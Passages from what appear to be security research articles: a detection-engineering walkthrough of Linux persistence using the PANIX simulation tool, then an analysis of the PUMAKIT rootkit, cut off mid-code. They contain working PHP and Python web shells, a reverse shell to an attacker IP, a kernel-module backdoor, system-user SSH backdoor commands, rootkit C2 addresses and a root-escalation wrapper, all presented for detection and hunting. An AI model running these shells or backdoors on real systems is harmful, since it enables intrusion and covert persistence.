	printk(KERN_INFO "Removing LKM backdoor module\\n");
	if (task) {
		kthread_stop(task);
	}
}

module_init(lkm_backdoor_init);
module_exit(lkm_backdoor_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("PANIX");
MODULE_DESCRIPTION("LKM Backdoor");

After compilation with make and gcc, it copies the LKM to /lib/modules/$(uname -r)/kernel/drivers/${lkm_name}.ko and executes the sudo insmod ${lkm_destination} to load the module. The $(uname -r) command ensures that the path corresponding to the active kernel version is resolved.

Let’s run the module:

> sudo ./panix.sh --lkm --default --ip 192.168.1.1 --port 2017

[+] Kernel module source code created: /tmp/lkm/panix.c
[+] Makefile created: /tmp/lkm/Makefile 
[+] Kernel module compiled successfully: /lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko
[+] Adding kernel module to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/...
[+] Kernel module loaded successfully. Check dmesg for the output.
[+] Kernel module added to /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/
[+] LKM backdoor established! 

Taking a look at the remnants left behind in Discover, we can see:

PANIX is executed, initiating the compilation process for the LKM using make, ensuring it is built for the active kernel version. Once compiled, the resulting panix.ko module is placed in the appropriate module library directory for the current kernel. To achieve persistence across reboots, a configuration file named panix.conf is created in both /etc/modules-load.d/ and /usr/lib/modules-load.d/. The module is then loaded into the kernel using the insmod command, activating the reverse shell. Leveraging the Auditd Manager integration, we can observe the kmod utility loading the panix kernel module.

This technique can leave behind several traces. The following detection- and endpoint rules are in place to effectively detect these:

For more information on how to set up the Auditd Manager integration to capture driver events and much more, check out the Linux Detection Engineering with Auditd publication.

We can revert this module by executing the following command:

> sudo ./panix.sh --revert lkm

###### [+] Reverting lkm module... #####

[+] Unloading kernel module 'panix'...
[+] Kernel module 'panix' unloaded successfully.
[+] Removing kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko'...
[+] Kernel module file '/lib/modules/4.19.0-27-amd64/kernel/drivers/panix.ko' removed successfully.
[+] Removing temporary directory '/tmp/lkm'...
[+] Temporary directory '/tmp/lkm' removed successfully.
[+] Removing panix from /etc/modules, /etc/modules-load.d/ and /usr/lib/modules-load.d/...
[+] Updating module dependencies...
[+] Module dependencies updated.

Hunting for T1547.006 - Kernel Modules and Extensions

We can hunt for this technique using ES|QL and OSQuery, focusing on suspicious kernel module activity, including the creation of .ko files, execution of kernel module management tools, and modifications to kernel module configuration files. The hunting approach includes:

• Monitoring kernel module file creation: Tracks .ko file creations in non-standard directories to detect potentially malicious modules.
• Identifying unusual module management executions: Monitors processes such as kmod, modprobe, insmod, and rmmod for suspicious or uncommon arguments.
• Detecting changes to configuration files: Observes files like /etc/modprobe.d/, /etc/modules, and related directories for modifications that might enable persistence.
• Focus on rare drivers: Use queries that identify kernel modules loaded via init_module or finit_module syscalls that occur infrequently.

By combining the Persistence via Loadable Kernel Modules and Drivers Load with Low Occurrence Frequency hunting rules, along with tailored detection queries, analysts can effectively identify T1547.006-related activity.

T1505.003 - Server Software Component: Web Shell

A web shell is a malicious script uploaded to a web server, enabling attackers to execute arbitrary commands on the host. They are commonly deployed after exploiting vulnerabilities in server software, weak file upload restrictions, or misconfigurations. Web shells are typically small scripts written in commonly supported languages such as PHP, Python, or Perl. This activity is tracked by MITRE under T1505.003.

T1505.003 - Web Shell - PHP & Python

Web shells often integrate seamlessly with web server configurations like Apache, Nginx, or Lighttpd. These scripts can be categorized into two primary types: command execution (CMD) and reverse shell web shells.

1. Command shells

CMD web shells provide a simple interface to execute system commands through a browser or remote tool. A typical PHP CMD web shell might look like this:

<?php
if (isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd']);
}
?>

2. Reverse shells

Reverse shell web shells establish an outbound connection from the compromised server to the attacker’s machine. An example PHP reverse shell:

<?php
$ip = '192.168.1.100'; // Attacker IP
$port = 4444;          // Attacker Port
$socket = fsockopen($ip, $port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

The attacker runs a listener on their machine using Netcat or any other listener. When the shell script is accessed, it connects to the attacker, providing an interactive session.

Leveraging the Common Gateway Interface (CGI) for web shells

The Common Gateway Interface (CGI) allows web servers to execute external scripts and return their output to clients. Attackers can use CGI scripts to execute commands in various languages, including Python, Bash, and Perl. A Python CGI web shell example:

#!/usr/bin/env python3
import cgi
import os

print("Content-type: text/html\n\n")
form = cgi.FieldStorage()
command = form.getvalue("cmd")
if command:
    output = os.popen(command).read()
    print(output)

CGI scripts offer versatility and can be used in environments where PHP or other web shells might be restricted.

Attackers often target web root directories like /var/www/html/ to upload their web shells. Weak file upload restrictions or misconfigured permissions allow them to place malicious scripts. To enhance persistence, attackers may:

• Embed Web Shells in Existing Files: Modify legitimate files to include web shell code, making detection more challenging.
• Use Built-in Web Servers: Attackers can start a web server in a specific directory to bypass restrictions
• Leverage Hidden Directories: To avoid detection, locate web shells in obscure or hidden directories.

Although this type of implementation is also possible for languages other than PHP and Python, they commonly require modules/plugins to be installed, making them a less viable option. The following section will explore detailed examples of these methods and their corresponding detection strategies.

Persistence through T1505.003 - Web Shell: PHP & Python

Let’s examine how PANIX leverages PHP, Python, and CGI to establish web shell backdoors within the setup_web_shell.sh module. Refer to the module to inspect the full payloads.

Depending on permissions, PANIX creates a web server in /var/www/html/ (root) or $HOME/ (non-root). PHP uses the -S flag to start a lightweight server, with -t specifying the root directory to serve the web shells. For Python, the -m http.server module is combined with --cgi to enable dynamic execution of CGI scripts. If only Python 2 is available, PANIX falls back to -m CGIHTTPServer for compatibility.

Servers are launched in the background using nohup to ensure persistence, remaining active even after the user logs out.

Let’s look at what traces we can detect within these chains, starting with a PHP CMD shell. To simulate this activity, we can use the following PANIX command:

> ./panix.sh --web-shell --language php --mechanism cmd --port 8080

[+] Web server directory created at /home/ruben/panix/
[+] cmd.php file created in /home/ruben/panix/
[+] Interact via: curl http://<ip>:8080/cmd.php?cmd=whoami
[!] Starting PHP server on port 8080...
[+] PHP server running in the background at port 8080.
[!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080.

Run the following commands in case of issues on RHEL/CentOS systems:

sudo firewall-cmd --add-port=8080/tcp --permanent
sudo firewall-cmd --reload

After execution, we can call the cmd.php through the following curl command:

> curl http://192.168.1.100:8080/cmd.php?cmd=whoami
ruben

Executing the payload generates the following documents in Kibana:

The figure above shows PANIX being executed and the /home/ruben/panix/ directory being created (as PANIX is executed with user privileges). The cmd.php file is created, and the PHP web shell is spawned with the -S flag and listens on all interfaces (0.0.0.0) on port 8080. Upon execution of the curl command from the attack host, we can see a connection_accepted, followed by the execution of the whoami command, followed by a disconnect_received.

To simulate reverse shell behavior, we can simulate a Python reverse shell through the following PANIX command:

./panix.sh --web-shell --language python --mechanism reverse --port 8080 --rev-port 2018 --ip 192.168.1.100

[+] Web server directory created at /home/ruben/panix/
[+] reverse.py file created in /home/ruben/panix/cgi-bin/
[+] Interact via: curl http://<ip>:8080/cgi-bin/reverse.py
[!] Starting Python3 server on port 8080 with CGI enabled...
[+] Python3 server running in the background at port 8080.
[!] In case you cannot connect, ensure your firewall settings are allowing inbound traffic on port 8080.

Run the following commands in case of issues on RHEL/CentOS systems:

sudo firewall-cmd --add-port=8080/tcp --permanent
sudo firewall-cmd --reload

After which, we can communicate with the reverse shell from the attacker machine through the following commands:

// Terminal 1
> curl http://192.168.1.100:8080/cgi-bin/reverse.py

// Terminal 2
> nc -nvlp 2018
listening on [any] 2018 ...
connect to [192.168.211.131] from (UNKNOWN) [192.168.211.151] 47250
> whoami
ruben

This module generates the following documents:

After PANIX executes, we can see /home/ruben/panix/cgi-bin/reverse.py being created and execution permissions being granted. A python3 web server with CGI support is spawned. After executing the curl command from the attacker machine, we can see an incoming connection through the connection_accepted event, followed by the execution of the reverse shell command, leading to the call back to the attacker machine through the connection_attempted event. A fully interactive shell is obtained once the attacker catches the reverse connection.

You can revert the changes made by PANIX by running the following revert command:

> ./panix.sh --revert web-shell

###### [+] Reverting web-shell module... #####

[+] Running as non-root. Reverting web shell for user 'ruben'.
[+] Reverting web shell for user 'ruben' at: /home/ruben/panix/
[+] Identifying web server processes serving /home/ruben/panix/...
[+] Killed process 11592 serving /home/ruben/panix/.
[+] Removed web server directory: /home/ruben/panix/

After which, all artifacts should be cleaned.

Let’s take a look at the coverage:

Hunting for T1505.003 - Web Shell

We can hunt for this technique using ES|QL and OSQuery by focusing on suspicious file creation events and anomalous network activity commonly associated with web shells. The approach includes monitoring for the following:

• Creation or renaming of web shell files: Tracks files with extensions such as .php, .py, .pl, .rb, .lua, and .jsp in unexpected or uncommon locations, which may indicate the deployment of a web shell.
• Anomalous network activity by scripting engines: Observes disconnect events and unusual connections initiated by processes like python, php, or perl, particularly connections to external IP addresses.
• Low-frequency external connections: Detects rare or low-volume network connections from processes, especially those initiated by root or unique agents, which can indicate malicious web shell activity.

By combining the Persistence via Web Shell, Persistence Through Reverse/Bind Shells, and Low Volume External Network Connections from Process by Unique Agent hunting rules with the tailored detection queries listed above, analysts can effectively detect and respond to T1505.003.

T1098.004 - Account Manipulation: SSH Authorized Keys

SSH's authorized_keys feature is a common target for attackers aiming to establish persistent access to compromised Linux systems. By placing their public keys in the authorized_keys file, attackers can gain access without requiring further authentication if the private key is in their possession. This mechanism is controlled by files like .ssh/authorized_keys or .ssh/authorized_keys2, typically in the user’s home directory. While this persistence method is well-documented, we explored its nuances in detail in a previous article.

In this section, we will focus on a less conventional but intriguing variation of this technique: abusing system accounts that by default are rarely used and have default configurations. This approach leverages the default home directories of these users to create .ssh directories and insert authorized_keys files, enabling SSH-based persistence under these accounts. Exatrack’s research on a new variant of the perfctl malware recently explored this technique. Although this specific variation of the authorized keys persistence technique is not tracked by MITRE, the overall persistence technique is tracked under T1098.004.

T1098.004 - SSH Authorized Keys: System User Backdoors

System accounts like news or nobody often exist on default Linux installations with non-interactive shells (e.g., /usr/sbin/nologin) and predefined home directories. These accounts, typically overlooked and not intended for direct login, can become attractive targets for attackers. We can observe their configurations in the /etc/passwd file:

> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

As we can see, the root user's home directory is /root/, while system users like news, backup, and nobody also have default home directories, such as /var/spool/news/ and /nonexistent/. The default shell for root is /bin/bash, whereas system users are restricted by /usr/sbin/nologin.

Although system users are intended to be non-interactive, attackers can exploit their configurations by creating .ssh directories in their home directories and adding authorized_keys files for SSH-based authentication. By manipulating the /etc/passwd file and shell configuration, attackers can bypass restrictions imposed by /usr/sbin/nologin and gain access. The next section will explore this technique in detail, including the steps attackers use to execute it.

Persistence through T1098.004 - SSH Authorized Keys: Backdoored System Users

Let’s examine how the PANIX setup_backdoor_system_user.sh module abuses this trick to leverage non-interactive system accounts to gain SSH access onto a target without creating a new user. Refer to the module to inspect the full payloads.

The first step is to identify a system user as the target for the attack. For example, as we know:

• The news user has /var/spool/news/ as its home directory.
• The nobody user has /nonexistent/ by default (which can be created).

The next step is to create the .ssh directory within the home directory and writes the attacker’s public key to the authorized_keys file, and ensure the correct file permissions:

# Create the .ssh directory
mkdir -p "$home_dir/.ssh"
chmod 755 "$home_dir/.ssh"  # Set directory permissions to be accessible by others

# Write the public key to authorized_keys
echo "$key" > "$home_dir/.ssh/authorized_keys"
chmod 644 "$home_dir/.ssh/authorized_keys"  # Set file permissions to be readable by others

This step ensures that the attacker can authenticate via SSH using their private key. The next step is to modify the shell. By default, system users like news and nobody are configured with /usr/sbin/nologin as their shell, which prevents interactive login sessions. We need to circumvent this restriction by:

1. Copying (for example) /bin/dash to /usr/sbin/nologin (with a trailing space).
2. Updating /etc/passwd to include the modified shell path.

# Copy /bin/dash to '/usr/sbin/nologin '
cp /bin/dash "/usr/sbin/nologin "

# Modify /etc/passwd to include the trailing space in the shell path
local username=$(echo "$user_entry" | cut -d: -f1)
sed -i "/^$username:/s|:/usr/sbin/nologin$|:/usr/sbin/nologin |" /etc/passwd 

Where the local username variable can be set to any system user. This subtle manipulation tricks the system into treating /usr/sbin/nologin (with a trailing space) as a valid shell.

Finally, to ensure SSH accepts the modified shell as valid, we need to add nologin (with a trailing space) to /etc/shells:

# Check and add "nologin " to /etc/shells if not already present
if ! grep -q "nologin " /etc/shells; then
    echo "nologin " >> /etc/shells
    echo "[+] Added 'nologin ' to /etc/shells"
else
    echo "[+] 'nologin ' already exists in /etc/shells. Skipping."
fi

This step ensures SSH does not reject login attempts due to the manipulated shell. Now that we understand the flow, let’s run the module.

> sudo ./panix.sh --backdoor-system-user --default --key <ssh-rsa public key>

[+] Added 'nologin ' to /etc/shells
[+] Copied /bin/dash to '/usr/sbin/nologin '
[+] Modified /etc/passwd to update shell path for user: news
[+] System user backdoor persistence established for user: news

After which we can log in to the system via SSH with the news user:

> ssh news@192.168.31.129
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-130-generic x86_64)

And analyze this technique’s traces in Discover:

Upon PANIX execution, the /var/spool/news/.ssh/ directory and authorized_keys files are created and granted the correct permissions (755 and 644 respectively). Next, the /usr/sbin/nologin (with trailing space) file is created, and the /etc/passwd and /etc/shells files are modified. Upon completion, the news user is able to authenticate via SSH, with an interactive shell.

You can revert the changes made by PANIX by running the following revert command:

> sudo ./panix.sh --revert backdoor-system-user

###### [+] Reverting backdoor-system-user module... #####

[+] Removing .ssh directory for user: news
[+] Successfully removed .ssh directory for news.
[+] Reverting /etc/passwd entry for user: news
[+] Successfully reverted /etc/passwd entry for news.

[+] Removing '/usr/sbin/nologin '
[+] Successfully removed '/usr/sbin/nologin '.
[+] Reverting /etc/shells to remove 'nologin ' entry.
[+] Successfully removed 'nologin ' from /etc/shells.

After which all artifacts should be cleaned.

There are several detection- and endpoint rules set up to detect different parts of this technique:

Hunting for T1098.004 - SSH Authorized Keys: Backdoored System Users

We can hunt for this technique using ES|QL and OSQuery by focusing on identifying unauthorized SSH key additions, tampered system files, and unusual activity involving system users such as news or nobody. The following key areas are effective for detection:

• Suspicious SSH Key Modifications: Monitors for changes to .ssh directories and authorized_keys files in unexpected locations, such as /var/spool/news/.ssh/ or /nonexistent/.ssh/.
• Unusual File Changes: Identifies modifications to SSH-related files and directories, tracking ownership and access patterns.
• Interactive Process Activity: Detects rare interactive sessions initiated by system accounts that typically lack login access.
• System File Tampering: Flags modifications to /etc/passwd and /etc/shells, including unusual shell paths or additions of invalid entries like nologin .

By leveraging the Persistence via SSH Configurations and/or Keys hunt, analysts can uncover unauthorized persistence mechanisms, investigate potential abuse of system accounts, and respond effectively to these threats.

Conclusion

In this third chapter of the "Linux Detection Engineering" series, we explored various persistence techniques adversaries might leverage on Linux systems. Starting with dynamic linker hijacking, we demonstrated how manipulation of the dynamic linker through LD_PRELOAD can be abused for persistence. We then looked into loadable kernel modules (LKMs), a powerful feature that allows attackers to embed malicious code directly into the kernel, offering deep system control and persistence. We then explored the threat web shells pose, which enable scripting-based persistence and remote access, making them a significant risk in web-exposed environments. Finally, we analyzed the exploitation of default system users with non-interactive shells, revealing how attackers can leverage these often-overlooked accounts to establish persistence without creating new user entries.

These techniques underscore the ingenuity and variety of methods adversaries can employ to persist on Linux systems. You can build robust defenses and fine-tune your detection strategies by leveraging PANIX to simulate these attacks and using the tailored ES|QL and OSQuery detection queries provided.

PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (cron), two memory-resident executables (/memfd:tgt and /memfd:wpn), an LKM rootkit module, and a shared object (SO) userland rootkit.

The rootkit component, referenced by the malware authors as “PUMA", employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkit ensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper.

Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.

Key takeaways

• Multi-Stage Architecture: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions.
• Advanced Stealth Mechanisms: Hooks 18 syscalls and several kernel functions using ftrace() to hide files, directories, and the rootkit itself, while evading debugging attempts.
• Unique Privilege Escalation: Utilizes unconventional hooking methods like the rmdir() syscall for escalating privileges and interacting with the rootkit.
• Critical Functionalities: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control.

PUMAKIT Discovery

During routine threat hunting on VirusTotal, we came across an intriguing binary named cron. The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, /memfd:wpn (deleted)71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24, uploaded on the same day, also with 0 detections.

What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the vmlinuz kernel package in /boot/. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose.

PUMAKIT code analysis

PUMAKIT, named after its embedded LKM rootkit module (named "PUMA" by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the cron binary, which creates two memory-resident executables: /memfd:tgt (deleted) and /memfd:wpn (deleted). While /memfd:tgt serves as a benign Cron binary, /memfd:wpn acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (/tmp/script.sh), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below.

This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment.

In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware.

Stage 1: Cron overview

The cron binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are:

1. Check command-line arguments for a specific keyword ("Huinder").
2. If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem.
3. If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit.

In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like cron).

If the string Huinder isn’t found among the arguments, the code inside if (!argv_) executes:

writeToMemfd(...): This is a hallmark of fileless execution. memfd_create allows the binary to exist entirely in memory. The malware writes its embedded payloads (tgtElfp and wpnElfp) into anonymous file descriptors rather than dropping them onto disk.

fork() and execveat(): The malware forks into a child and parent process. The child redirects its standard output and error to /dev/null to avoid leaving logs and then executes the “weapon” payload (wpnElfp) using execveat(). The parent waits for the child and then executes the “target” payload (tgtElfp). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult.

The choice of execveat() is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution.

We have identified that the tgt file is a legitimate cron binary. It is loaded in memory and executed after the rootkit loader (wpn) is executed.

After execution, the binary remains active on the host.

> ps aux
root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f

Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper.

root@debian11-rg:/tmp# ls -lah /proc/2138/fd
total 0
dr-x------ 2 root root  0 Dec  6 09:57 .
dr-xr-xr-x 9 root root  0 Dec  6 09:57 ..
lr-x------ 1 root root 64 Dec  6 09:57 0 -> /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 1 -> /dev/null
l-wx------ 1 root root 64 Dec  6 09:57 2 -> /dev/null
lrwx------ 1 root root 64 Dec  6 09:57 3 -> '/memfd:tgt (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 4 -> '/memfd:wpn (deleted)'
lrwx------ 1 root root 64 Dec  6 09:57 5 -> /run/crond.pid
lrwx------ 1 root root 64 Dec  6 09:57 6 -> 'socket:[20433]'

Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes.

Upon extraction, we find the following two new files:

• Wpn: cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe
• Tgt: 934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136

We now have the dumps of the two memory files.

Stage 2: Memory-resident executables overview

Examining the /memfd:tgt ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary.

The /memfd:wpn file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the /usr/sbin/sshd executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit.

Looking at the execution in Kibana, we can see that the program checks whether secure boot is enabled by querying dmesg. If the correct conditions are met, a shell script called script.sh is dropped in the /tmp directory and executed.

This script contains logic for inspecting and processing files based on their compression formats.

Here's what it does:

• The function c() inspects files using the file command to verify whether they are ELF binaries. If not, the function returns an error.
• The function d() attempts to decompress a given file using various utilities like gunzip, unxz, bunzip2, and others based on signatures of supported compression formats. It employs grep and tail to locate and extract specific compressed segments.
• The script attempts to locate and process a file ($i) into /tmp/vmlinux.

After the execution of /tmp/script.sh, the file /boot/vmlinuz-5.10.0-33-cloud-amd64 is used as input. The tr command is employed to locate gzip's magic numbers (\037\213\010). Subsequently, a portion of the file starting at the byte offset +10957311 is extracted using tail, decompressed with gunzip, and saved as /tmp/vmlinux. The resulting file is then verified to determine if it is a valid ELF binary.

This sequence is repeated multiple times until all entries within the script have been passed into function d().

d '\037\213\010' xy gunzip
d '\3757zXZ\000' abcde unxz
d 'BZh' xy bunzip2
d '\135\0\0\0' xxx unlzma
d '\211\114\132' xy 'lzop -d'
d '\002!L\030' xxx 'lz4 -d'
d '(\265/\375' xxx unzstd

This process is shown below.

After running through all of the items in the script, the /tmp/vmlinux and /tmp/script.sh files are deleted.

The script's primary purpose is to verify whether specific conditions are satisfied and, if they are, to set up the environment for deploying the rootkit using a kernel object file.

As shown in the image above, the loader looks for __ksymtab and __kcrctab symbols in the Linux Kernel file and stores the offsets.

Several strings show that the rootkit developers refer to their rootkit as “PUMA" within the dropper. Based on the conditions, the program outputs messages such as:

PUMA %s
[+] PUMA is compatible
[+] PUMA already loaded

Furthermore, the kernel object file contains a section named .puma-config, reinforcing the association with the rootkit.

Stage 3: LKM rootkit overview

In this section, we take a closer look at the kernel module to understand its underlying functionality. Specifically, we will examine its symbol lookup features, hooking mechanism, and the key syscalls it modifies to achieve its goals.

LKM rootkit overview: symbol lookup and hooking mechanism

The LKM rootkit's ability to manipulate system behavior begins with its use of the syscall table and its reliance on kallsyms_lookup_name() for symbol resolution. Unlike modern rootkits targeting kernel versions 5.7 and above, the rootkit does not use kprobes, indicating it is designed for older kernels.

This choice is significant because, prior to kernel version 5.7, kallsyms_lookup_name() was exported and could be easily leveraged by modules, even those without proper licensing.

In February 2020, kernel developers debated the unexporting of kallsyms_lookup_name() to prevent misuse by unauthorized or malicious modules. A common tactic involved adding a fake MODULE_LICENSE("GPL") declaration to circumvent licensing checks, allowing these modules to access non-exported kernel functions. The LKM rootkitdemonstrates this behavior, as evident from its strings:

name=audit
license=GPL

This fraudulent use of the GPL license ensures the rootkit can call kallsyms_lookup_name() to resolve function addresses and manipulate kernel internals.

In addition to its symbol resolution strategy, the kernel module employs the ftrace() hooking mechanism to establish its hooks. By leveraging ftrace(), the rootkit effectively intercepts syscalls and replaces their handlers with custom hooks.

Evidence of this is e.g. the usage of unregister_ftrace_function and ftrace_set_filter_ip as shown in the snippet of code above.

LKM rootkit overview: hooked syscalls overview

We analyzed the rootkit's syscall hooking mechanism to understand the scope of PUMA's interference with system functionality. The following table summarizes the syscalls hooked by the rootkit, the corresponding hooked functions, and their potential purposes.

By viewing the cleanup_module() function, we can see the ftrace() hooking mechanism being reverted by using the unregister_ftrace_function() function. This guarantees that the callback is no longer being called. Afterward, all syscalls are returned to point to the original syscall rather than the hooked syscall. This gives us a clean overview of all syscalls that were hooked.

In the following sections, we will take a closer look at a few of the hooked syscalls.

LKM rootkit overview: rmdir_hook()

The rmdir_hook() in the kernel module plays a critical role in the rootkit’s functionality, enabling it to manipulate directory removal operations for concealment and control. This hook is not limited to merely intercepting rmdir() syscalls but extends its functionality to enforce privilege escalation and retrieve configuration details stored within specific directories.

This hook has several checks in place. The hook expects the first characters to the rmdir() syscall to be zarya. If this condition is met, the hooked function checks the 6th character, which is the command that gets executed. Finally, the 8th character is checked, which can contain process arguments for the command that is being executed. The structure looks like: zarya[char][command][char][argument]. Any special character (or none) can be placed between zarya and the commands and arguments.

As of the publication date, we have identified the following commands:

Upon initialization of the rootkit, the rmdir() syscall hook is used to check whether the rootkit was loaded successfully. It does this by calling the t command.

ubuntu-rk:~$ rmdir test
rmdir: failed to remove 'test': No such file or directory
ubuntu-rk:~$ rmdir zarya.t
ubuntu-rk:~$

When using the rmdir command on a non-existent directory, an error message “No such file or directory” is returned. When using rmdir on zarya.t, no output is returned, indicating successful loading of the kernel module.

A second command is v, which is used to get the version of the running rootkit.

ubuntu-rk:~$ rmdir zarya.v
rmdir: failed to remove '240513': No such file or directory

Instead of zarya.v being added to the “failed to remove ‘directory’” error, the rootkit version 240513 is returned.

A third command is c, which prints the configuration of the rootkit.

ubuntu-rk:~/testing$ ./dump_config "zarya.c"
rmdir: failed to remove '': No such file or directory
Buffer contents (hex dump):
7ffe9ae3a270  00 01 00 00 10 70 69 6e 67 5f 69 6e 74 65 72 76  .....ping_interv
7ffe9ae3a280  61 6c 5f 73 00 2c 01 00 00 10 73 65 73 73 69 6f  al_s.,....sessio
7ffe9ae3a290  6e 5f 74 69 6d 65 6f 75 74 5f 73 00 04 00 00 00  n_timeout_s.....
7ffe9ae3a2a0  10 63 32 5f 74 69 6d 65 6f 75 74 5f 73 00 c0 a8  .c2_timeout_s...
7ffe9ae3a2b0  00 00 02 74 61 67 00 08 00 00 00 67 65 6e 65 72  ...tag.....gener
7ffe9ae3a2c0  69 63 00 02 73 5f 61 30 00 15 00 00 00 72 68 65  ic..s_a0.....rhe
7ffe9ae3a2d0  6c 2e 6f 70 73 65 63 75 72 69 74 79 31 2e 61 72  l.opsecurity1.ar
7ffe9ae3a2e0  74 00 02 73 5f 70 30 00 05 00 00 00 38 34 34 33  t..s_p0.....8443
7ffe9ae3a2f0  00 02 73 5f 63 30 00 04 00 00 00 74 6c 73 00 02  ..s_c0.....tls..
7ffe9ae3a300  73 5f 61 31 00 14 00 00 00 73 65 63 2e 6f 70 73  s_a1.....sec.ops
7ffe9ae3a310  65 63 75 72 69 74 79 31 2e 61 72 74 00 02 73 5f  ecurity1.art..s_
7ffe9ae3a320  70 31 00 05 00 00 00 38 34 34 33 00 02 73 5f 63  p1.....8443..s_c
7ffe9ae3a330  31 00 04 00 00 00 74 6c 73 00 02 73 5f 61 32 00  1.....tls..s_a2.
7ffe9ae3a340  0e 00 00 00 38 39 2e 32 33 2e 31 31 33 2e 32 30  ....89.23.113.20
7ffe9ae3a350  34 00 02 73 5f 70 32 00 05 00 00 00 38 34 34 33  4..s_p2.....8443
7ffe9ae3a360  00 02 73 5f 63 32 00 04 00 00 00 74 6c 73 00 00  ..s_c2.....tls..

Because the payload starts with null bytes, no output is returned when running zarya.c through a rmdir shell command. By writing a small C program that wraps the syscall and prints the hex/ASCII representation, we can see the configuration of the rootkit being returned.

Instead of using the kill() syscall to get root privileges (like most rootkits do), the rootkit leverages the rmdir() syscall for this purpose as well. The rootkit uses the prepare_creds function to modify the credential-related IDs to 0 (root), and calls commit_creds on this modified structure to obtain root privileges within its current process.

To trigger this function, we need to set the 6th character to 0. The caveat for this hook is that it gives the caller process root privileges but does not maintain them. When executing zarya.0, nothing happens. However, when calling this hook with a C program and printing the current process’ privileges, we do get a result. A snippet of the wrapper code that is used is displayed below:

[...]
// Print the current PID, SID, and GID
pid_t pid = getpid();
pid_t sid = getsid(0);  // Passing 0 gets the SID of the calling process
gid_t gid = getgid();

printf("Current PID: %d, SID: %d, GID: %d\n", pid, sid, gid);

// Print all credential-related IDs
uid_t ruid = getuid();    // Real user ID
uid_t euid = geteuid();   // Effective user ID
gid_t rgid = getgid();    // Real group ID
gid_t egid = getegid();   // Effective group ID
uid_t fsuid = setfsuid(-1);  // Filesystem user ID
gid_t fsgid = setfsgid(-1);  // Filesystem group ID

printf("Credentials: UID=%d, EUID=%d, GID=%d, EGID=%d, FSUID=%d, FSGID=%d\n",
    ruid, euid, rgid, egid, fsuid, fsgid);

[...]

Executing the function, we can the following output:

ubuntu-rk:~/testing$ whoami;id
ruben
uid=1000(ruben) gid=1000(ruben) groups=1000(ruben),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),117(lxd)

ubuntu-rk:~/testing$ ./rmdir zarya.0
Received data:
zarya.0
Current PID: 41838, SID: 35117, GID: 0
Credentials: UID=0, EUID=0, GID=0, EGID=0, FSUID=0, FSGID=0

To leverage this hook, we wrote a small C wrapper script that executes the rmdir zarya.0 command and checks whether it can now access the /etc/shadow file.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <errno.h>

int main() {
    const char *directory = "zarya.0";

    // Attempt to remove the directory
    if (syscall(SYS_rmdir, directory) == -1) {
        fprintf(stderr, "rmdir: failed to remove '%s': %s\n", directory, strerror(errno));
    } else {
        printf("rmdir: successfully removed '%s'\n", directory);
    }

